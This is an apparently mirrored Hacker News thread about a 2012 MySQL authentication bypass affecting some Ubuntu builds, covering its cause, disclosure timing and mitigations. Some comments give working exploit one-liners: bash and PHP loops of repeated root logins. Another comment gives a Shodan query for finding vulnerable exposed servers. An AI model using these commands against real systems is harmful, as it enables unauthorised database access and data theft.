TE
TechEcho
Home24h TopNewestBestAskShowJobs
GitHubTwitter
Home

TechEcho

A tech news platform built with Next.js, providing global tech news and discussions.

GitHubTwitter

Home

HomeNewestBestAskShowJobs

Resources

HackerNews APIOriginal HackerNewsNext.js

© 2025 TechEcho. All rights reserved.

Security vulnerability in MySQL ubuntu

125 pointsby mjschultzalmost 13 years ago

20 comments

tptacekalmost 13 years ago
This is a vulnerability in the authentication scheme used in the MySQL wire protocol, meaning attackers need to be able to connect to your MySQL database directly to exploit it. <i>Attackers should never, ever be able to connect directly to your MySQL database directly</i>. If you can connect to your MySQL instance directly from your Macbook in your living room, fix it <i>right now</i>.
评论 #4093127 未加载
评论 #4093604 未加载
评论 #4093956 未加载
评论 #4093661 未加载
评论 #4096210 未加载
评论 #4094882 未加载
评论 #4093625 未加载
评论 #4093071 未加载
tedunangstalmost 13 years ago
From the mysql commit: Date: 2012-04-06 09:04:07 UTC<p>That's two months ago. Looking at the changelog (<a href="http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html</a>), they piled in a bunch of other changes like "use less disk space". This should have gone out <i>pronto</i>. I feel it's not the kind of thing you sit on until your next quarterly release is scheduled.<p>[oh wait, this is worse. mysql 5.1.63 was actually released a month ago. But they only now tell us what the security bug was? Meanwhile the bad people have had a month to diff sources? Double unhappy.]
评论 #4093802 未加载
rlpbalmost 13 years ago
It looks like this is being tracked in Ubuntu here: <a href="https://bugs.launchpad.net/bugs/1011371" rel="nofollow">https://bugs.launchpad.net/bugs/1011371</a><p>Unfortunately Oracle's stewardship of MySQL appears to be a closed model. There is no public access to their bug tracker, and distributions struggle to keep up with security updates because the details of their fixes in the source are not published. The future of MySQL appears to be in one of the MySQL forks.<p>See <a href="https://lists.ubuntu.com/archives/ubuntu-server/2012-February/006073.html" rel="nofollow">https://lists.ubuntu.com/archives/ubuntu-server/2012-Februar...</a> and <a href="https://lists.ubuntu.com/archives/ubuntu-server/2012-February/006129.html" rel="nofollow">https://lists.ubuntu.com/archives/ubuntu-server/2012-Februar...</a> for details.
评论 #4095899 未加载
gyaresualmost 13 years ago
One-liner: $ for i in `seq 1 512`; do echo 'select @@version;' | mysql -h 127.0.0.1 -u root mysql --password=X 2&#62;/dev/null &#38;&#38; break; done<p>Via HDMOORE on twitter
captn3m0almost 13 years ago
This is also important in other environments, for instance shared hosting where you may connect to localhost, or places where you may have given non-admin shell access to a developer (assuming they could not connect to mysql root user).<p>This is a serious vulnerability. Especially since the latest ubuntu seems to be affected(I'm on mint 13, and it is)<p>See Ready shodanhq query for latest mysql version:<p><a href="http://www.shodanhq.com/search?q=port%3A3306+5.5.22-0ubuntu1" rel="nofollow">http://www.shodanhq.com/search?q=port%3A3306+5.5.22-0ubuntu1</a>
评论 #4093216 未加载
brg1007almost 13 years ago
Any chance that this vulnerability is linked with the recent hashed password lists disclosure ?
评论 #4095055 未加载
mattbeealmost 13 years ago
I've been trying this on lots of our customers' boxes and can't exploit it - no matter how many times I've tried I always get turned away when retrying root's password, e.g. trying "while true; do mysql -u root mysql --password=baha; done" does not yield access on any of:<p>Debian lenny 32-bit 5.0.51a-24+lenny5<p>Debian lenny 64-bit 5.0.51a-24+lenny5<p>Debian lenny 64-bit 5.1.51-1-log<p>Debian squeeze 64-bit 5.1.49-3-log<p>Debian squeeze 32-bit 5.1.61-0+squeeze1<p>Debian squeeze 64-bit 5.1.61-0+squeeze1<p>Ubuntu lucid 64-bit 5.1.62-0ubuntu0.10.04.1<p>So I'm not inclined to think it's as bad as made out by the simple exploit above.
评论 #4093374 未加载
评论 #4094059 未加载
ushialmost 13 years ago
<i>Whether a particular build of MySQL or MariaDB is vulnerable, depends on how and where it was built. A prerequisite is a memcmp() that can return an arbitrary integer (outside of -128..127 range). To my knowledge gcc builtin memcmp is safe, BSD libc memcmp is safe. Linux glibc sse-optimized memcmp is not safe, but gcc usually uses the inlined builtin version.</i><p>How do you know, how the Ubuntu devs compiled their mysql server?
评论 #4092960 未加载
评论 #4093089 未加载
jmsalmost 13 years ago
For anyone running phpMyAdmin, make sure to lock it down.<p>Here's a guide for limiting access to it by IP address via the apache config for Ubuntu users:<p><a href="http://mixeduperic.com/ubuntu/how-to-restrict-phpmyadmin-ip-address.html" rel="nofollow">http://mixeduperic.com/ubuntu/how-to-restrict-phpmyadmin-ip-...</a>
willvarfaralmost 13 years ago
I'd love to see the code; quite how they are not comparing a memcmp to 0 would be interesting to see...
评论 #4093269 未加载
评论 #4094322 未加载
评论 #4094282 未加载
mmaunderalmost 13 years ago
Has anyone managed to actually repro this. I've tried it on a wide variety of systems I run and no repro. Just looking for anecdotal data on how many systems are affected. To me it doesn't seem like a high percentage.
评论 #4094599 未加载
评论 #4094331 未加载
评论 #4094326 未加载
评论 #4094358 未加载
_hnwoalmost 13 years ago
while true; do mysql -u root mysql --password=fail; done
captn3m0almost 13 years ago
So if I try logging in with phpmyadmin 256 times, will I succeed?
评论 #4093581 未加载
Limes102almost 13 years ago
&#60;?php while(true) if(mysql_connect("localhost", "root", "password")) exit("connected with password: password");<p>I am sad to say it worked on my Ubuntu server :(
rominetalmost 13 years ago
It seems that SSE4 extensions are needed to be vulnerable, otherwise memcmp() is doing classical computations.<p>So you need a 64 bits system, and be sure that you are not using a virtualisation system which does clear SSSE4 flag in /proc/cpuinfo (VirtualBox does).
pwaringalmost 13 years ago
Can anyone view the MySQL bug report linked to from the email? I get 'access denied' each time I try.
dawkinsalmost 13 years ago
"Because the protocol uses random strings, the probability of hitting this bug is about 1/256."<p>Why 1/256?
评论 #4094062 未加载
gourangaalmost 13 years ago
Doesn't surprise me.<p>Ubuntu always ship fucked up, broken, shitty MySQL versions.<p>Look at the one that is current HEAD on 10.04 LTS. It's got so much broken stuff in it, we had to move everything to a spare windows machine where we could stick a later version on without screwing up the machine (DBs for: team city, jira, crucible).
评论 #4093744 未加载
评论 #4093854 未加载
评论 #4093751 未加载
dfcalmost 13 years ago
Is the bug limited to ubuntu?
评论 #4093316 未加载
jontasalmost 13 years ago
Just tried the various one-liners mentioned in the comments on a hardy (8.04) release using mysql 5.0.51a and could not get in.<p>This is a slicehost box, so I'm assuming that can be extrapolated to mean that anyone using ubuntu on slicehost is probably safe.
评论 #4093505 未加载
评论 #4094006 未加载
评论 #4093446 未加载